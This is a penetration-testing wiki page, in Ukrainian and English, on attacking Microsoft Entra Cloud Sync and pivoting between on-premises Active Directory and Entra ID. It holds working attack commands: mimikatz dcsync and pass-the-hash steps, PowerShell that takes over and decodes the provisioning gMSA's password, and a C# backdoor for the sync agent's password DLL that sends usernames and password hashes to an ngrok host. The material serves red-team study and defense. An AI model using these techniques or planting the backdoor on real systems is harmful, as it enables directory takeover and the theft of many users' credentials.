Az - Cloud Sync

Основна інформація

Cloud Sync — по суті новий спосіб Azure для синхронізації користувачів з AD в Entra ID.

From the docs: Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync.

Принципали, що створюються

Щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі:

В Entra ID створюється користувач On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) з роллю Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

Warning

This role used to have a lot of privileged permissions and it could be used to escalate privileges even to global admin. However, Microsoft decided to remove all the privileges of this role and assign it just a new one microsoft.directory/onPremisesSynchronization/standard/read which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).

В Entra ID також створюється група AAD DC Administrators без учасників або власників. Ця група корисна, якщо використовується Microsoft Entra Domain Services.
В AD або створюється Service Account provAgentgMSA з SamAcountName на кшталт pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), або створюється кастомний обліковий запис з необхідними правами. Зазвичай створюється стандартний.

Warning

Among other permissions the Service Account provAgentgMSA has DCSync permissions, allowing anyone that compromises it to compromise the whole directory. For more information about DCSync check this.

Note

За замовчуванням користувачі відомих привілейованих груп, наприклад Domain Admins, з атрибутом adminCount рівним 1 не синхронізуються з Entra ID з міркувань безпеки. Проте інші користувачі, які є частиною привілейованих груп без цього атрибуту або яким напряму призначені високі привілеї, можуть бути синхронізовані.

Синхронізація паролів

The section is very similar to the one from:

{{#ref}} az-connect-sync.md {{#endref}}

Password hash synchronization can be enabled so users will be able to login into Entra ID using their passwords from AD. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID.
Password writeback can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the current docs, for this is needed to use the Connect Agent, so take a look to the Az Connect Sync section for more information.
Groups writeback: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD.

Pivoting

AD --> Entra ID

Якщо користувачі AD синхронізуються з AD в Entra ID, pivoting з AD в Entra ID є простим: достатньо compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins).

Отже, наприклад, ви можете:

Compromise the provAgentgMSA account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.

To compromise the provAgentgMSA credentials:

# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Тепер ви можете використати хеш gMSA, щоб виконати атаку Pass-the-Hash проти Entra ID, використовуючи обліковий запис provAgentgMSA, і забезпечити персистентність з можливістю виконувати атаки DCSync проти AD.

For more information about how to compromise an Active Directory check:

{{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}}

Note

Зверніть увагу, що немає способу надати ролі Azure або EntraID синхронізованим користувачам на основі їхніх атрибутів, наприклад у конфігураціях Cloud Sync. Однак для автоматичного надання прав синхронізованим користувачам деяким Entra ID groups from AD можуть бути надані дозволи, тож синхронізовані користувачі всередині цих груп також їх отримають або можуть використовуватися dynamic groups might be used, тому завжди перевіряйте динамічні правила та потенційні шляхи їхнього зловживання:

Щодо персистентності, this blog post пропонує, що можливо використати dnSpy для додавання бекдору в dll Microsoft.Online.Passwordsynchronisation.dll, розташовану в C:\Program Files\Microsoft Azure AD Sync\Bin, яку використовує Cloud Sync agent для синхронізації паролів, щоб вона ексфільтрувала хеші паролів синхронізованих користувачів на віддалений сервер. Хеші генеруються всередині класу PasswordHashGenerator, і блог пропонує додати трохи коду, щоб клас виглядав так (зверніть увагу на use System.Net та використання WebClient для ексфільтрації хешів паролів):

using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

Entra ID --> AD

If Password Writeback is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the Az Connect Sync section section for more information as the password writeback is configured using that agent.
На даний момент Cloud Sync також дозволяє "Microsoft Entra ID to AD", але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID в AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з password hash і походять з домену, що належить до того ж доменного лісу, що й домен, з яким ми синхронізуємося, як можна прочитати в https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

Ці групи можуть містити лише локально синхронізованих користувачів і/або додаткових створених у хмарі груп безпеки.

Локальні облікові записи користувачів, які синхронізовані і є членами цієї створеної в хмарі групи безпеки, можуть належати до того самого домену або бути крос-доменними, але всі вони повинні належати до того самого лісу.

Отже, поверхня атаки (і корисність) цієї служби значно зменшується, оскільки атакуючому доведеться скомпрометувати початковий AD, звідки синхронізуються користувачі, щоб скомпрометувати користувача в іншому домені (і, схоже, обидва мають належати до одного й того самого лісу).

Перерахування

# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

12 KiB Raw Blame History Unescape Escape